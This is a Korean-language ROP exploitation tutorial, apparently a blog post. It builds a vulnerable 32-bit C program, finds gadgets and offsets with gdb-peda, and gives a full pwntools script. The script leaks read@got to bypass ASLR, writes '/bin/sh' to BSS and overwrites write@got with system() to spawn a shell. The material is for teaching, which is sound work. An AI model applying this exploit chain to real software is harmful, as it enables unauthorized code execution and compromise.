Return Oriented Programming은 기본적으로 RTL 기법과 Gadget을 이용해서 공격에 필요한 코드를 프로그래밍하는 기법입니다.
라이브러리의 함수들을 사용하기 때문에 DEP/NX 방어 기법을 우회할 수 있고 사용하고 있는 함수의 got 값을 출력하고 이를 이용해서 원하는 함수의 실제 주소를 구할 수 있기 때문에 ASLR 기법을 우회할 수 있습니다.
여기서 Gadget이란 pop pop ret 같은 코드 조각인데, 함수의 인자들을 정리해주기 위해 사용합니다.
이 Gadget을 이용해서 함수 실행 후 인자들을 pop하여 스택을 정리해주면 원하는 함수를 무한대로 호출할 수 있다고 합니다.
Gadget은 함수의 인자 개수 만큼 pop 하고 ret를 하는 Gadget을 사용하면 되는데,
예를 들어 2개의 인자를 필요로 하는 함수를 호출한다고 하면 pop pop ret 라는 Gadget을 RET 다음에 넣어서 인자들을 정리해 줄 수 있습니다.
이제 예제 코드를 만들어서 실습을 해보겠습니다.
// rop.c
#include <stdio.h>
int main() {
char buf[100];
read(0, buf, 256); // buf에 표준입력으로 256 Byte를 입력 받는다.
write(1, buf, 100); // buf에 표준출력으로 100 Byte를 쓴다.
return 0;
}
// gcc -o rop rop.c -m32 -mpreferred-stack-boundary=2 -fno-pic -no-pie -fno-stack-protector
// 코드를 컴파일 할 때는 DEP/NX, ASLR을 제외한 방어 기법은 해제하고 컴파일을 해주겠습니다.
1. 필요한 정보 구하기
1) gadget (pop pop pop ret)
2) bss 영역 주소
3) system_offset(read-system)
4) ESP ~ EBP 까지 거리
2. ASLR 우회해서 system() 실제 주소 흭득과 "/bin/sh" 저장
1) read()의 실제 주소 흭득
2) read@got - system_offset로 system@got 흭득
3) BSS 영역에 "/bin/sh" 쓰기
3. write() got에 system()을 got overwrite
4. BSS 영역에 쓴 "/bin/sh"를 인자로 write() 호출 [write("/bin/sh") → system("/bin/sh")]
파이썬의 pwntools를 이용해서 exploit 코드를 작성해 보겠습니다.
read(), write() 함수의 인자는 3개이기 때문에 (pop pop pop ret) gadget을 찾아야 합니다.
gdb-peda$ ropgadget
ret = 0x804900a
popret = 0x804901e
pop2ret = 0x804920a
pop3ret = 0x8049209
pop4ret = 0x8049208
addesp_12 = 0x804901b
addesp_16 = 0x80490e2
peda로 gadget을 찾아보면 (pop pop pop ret) gadget → 0x8049209가 됩니다.
bss 영역의 주소는 0x0804c020이 됩니다.
gdb-peda$ print read-system
$1 = 0xacf70
system_offset은 0xacf70이 됩니다.
0x08049176 <+0>: push ebp
0x08049177 <+1>: mov ebp,esp
0x08049179 <+3>: sub esp,0x64 // 100 Byte 크기의 공간 할당
=> 0x0804917c <+6>: push 0x100 // 256
0x08049181 <+11>: lea eax,[ebp-0x64] // ebp-100 (buf)
0x08049184 <+14>: push eax // buf
0x08049185 <+15>: push 0x0 // 0
0x08049187 <+17>: call 0x8049030 <read@plt> // read(0, buf, 256)
0x0804918c <+22>: add esp,0xc
buf[100] + EBP[4] = 104
# 필요한 정보 변수화
read_plt = e.plt['read'] # read@plt
read_got = e.got['read'] # read@got
write_plt = e.plt['write'] # write@plt
write_got = e.got['write'] # write@got
system_offset = 0xacf70 # read - system
pppr = 0x8049209 # ropgadget (pop, pop, pop, ret)
bss = 0x804c020 # BSS address
payload = b"A" * 104 # ESP ~ EBP 까지 거리
ASLR 방어기법으로 라이브러리 영역의 위치가 계속 변합니다. 그래서 system() 함수의 실제 주소를 구하기 힘듭니다.
하지만 라이브러리 내의 함수간 거리는 변하지 않기 때문에, read - (read - system)을 하면 system 함수의 주소를 구할 수 있습니다.
그리고 "/bin/sh"를 BSS 영역에 저장하면 ASLR의 영향으로 "/bin/sh"의 주소가 변하는 것을 피할 수 있습니다.
write(1, read@got, 8)을 하면 표준 출력으로 read@got를 출력하게 돼서 read() 함수의 실제 주소를 얻을 수 있습니다.
# read() 실제 주소 흭득 -> write(1, read@got, 4)
payload += p32(write_plt) # write()
payload += p32(pppr) # ropgadget (pop * 3, ret)
payload += p32(1) # write(1, , )
payload += p32(read_got) # write(1, read@got, )
payload += p32(4) # write(1, read@got, 4)
.
.
.
read_addr = u32(p.recv()[-4:]) # 표준 출력된 실제 read() 주소 대입
system_addr = read_addr - system_offset # read - system_offset로 system() 실제 주소 흭득
read(0, bss, 8)을 하면 표준 입력으로 bss에 데이터를 입력받기 때문에, bss 영역에 "/bin/sh"를 쓸 수 있습니다.
# BSS 영역에 "/bin/sh" 쓰기
payload += p32(read_plt) # read()
payload += p32(pppr) # ropgadget (pop * 3, ret)
payload += p32(0) # read(0, , )
payload += p32(bss) # read(0, bss, )
payload += p32(8) # read(0, bss, 8)
.
.
.
p.send(b'/bin/sh\00') # bss 영역에 "/bin/sh" 쓰기
"/bin/sh"를 인자로 write("/bin/sh")를 실행시키면 system("/bin/sh")가 실행될 수 있도록 got overwrite를 해주겠습니다.
read(0, write_got, 4)를 하면 표준 입력으로 write_got에 데이터를 입력받기 때문에, write@got를 system@got로 overwrite 할 수 있습니다.
# got overwrite(write -> system)
payload += p32(read_plt) # read()
payload += p32(pppr) # ropgadget (pop * 3, ret)
payload += p32(0) # read(0, , )
payload += p32(write_got) # read(0, write@got, )
payload += p32(4) # read(0, write@got, 4)
.
.
.
p.send(p32(system_addr)) # write@got를 system@got로 overwrite
# "/bin/sh"를 인자로 write() 호출
payload += p32(write_plt) # write()
payload += b"AAAA" # 다음으로 호출할 함수가 없기 때문에 그냥 AAAA 입력
payload += p32(bss) # bss 영역에 쓴 "/bin/sh"
이제 exploit code를 완성해보면
# python3-pwntools
from pwn import *
p = process('./rop')
e = ELF('./rop')
# 필요한 정보 변수화
read_plt = e.plt['read'] # read@plt
read_got = e.got['read'] # read@got
write_plt = e.plt['write'] # write@plt
write_got = e.got['write'] # write@got
system_offset = 0xacf70 # read - system
pppr = 0x8049209 # ropgadget (pop, pop, pop, ret)
bss = 0x804c020 # BSS address
payload = b"A" * 104 # ESP ~ EBP 까지 거리
# read() 실제 주소 흭득 -> write(1, read@got, 4)
payload += p32(write_plt) # write()
payload += p32(pppr) # ropgadget (pop * 3, ret)
payload += p32(1) # write(1, , )
payload += p32(read_got) # write(1, read@got, )
payload += p32(4) # write(1, read@got, 4)
# BSS 영역에 "/bin/sh" 쓰기
payload += p32(read_plt) # read()
payload += p32(pppr) # ropgadget (pop * 3, ret)
payload += p32(0) # read(0, , )
payload += p32(bss) # read(0, bss, )
payload += p32(8) # read(0, bss, 8)
# got overwrite(write -> system)
payload += p32(read_plt) # read()
payload += p32(pppr) # ropgadget (pop * 3, ret)
payload += p32(0) # read(0, , )
payload += p32(write_got) # read(0, write@got, )
payload += p32(4) # read(0, write@got, 4)
# "/bin/sh"를 인자로 write() 호출
payload += p32(write_plt) # write()
payload += b"AAAA" # 다음으로 호출할 함수가 없기 때문에 그냥 AAAA 입력
payload += p32(bss) # bss 영역에 쓴 "/bin/sh"
p.send(payload) # payload 표준 입력
read_addr = u32(p.recv()[-4:]) # 표준 출력된 실제 read() 주소 대입
system_addr = read_addr - system_offset # read - system_offset로 system() 실제 주소 흭득
p.send(b'/bin/sh\00') # bss 영역에 "/bin/sh" 쓰기
p.send(p32(system_addr)) # write@got를 system@got로 overwrite
p.interactive() # user에게 입출력을 다시 돌려줌
exploit code를 실행해보면
공격에 성공해서 쉘이 떴습니다.
pppr 가젯이 없는데 어떻게 해야되나요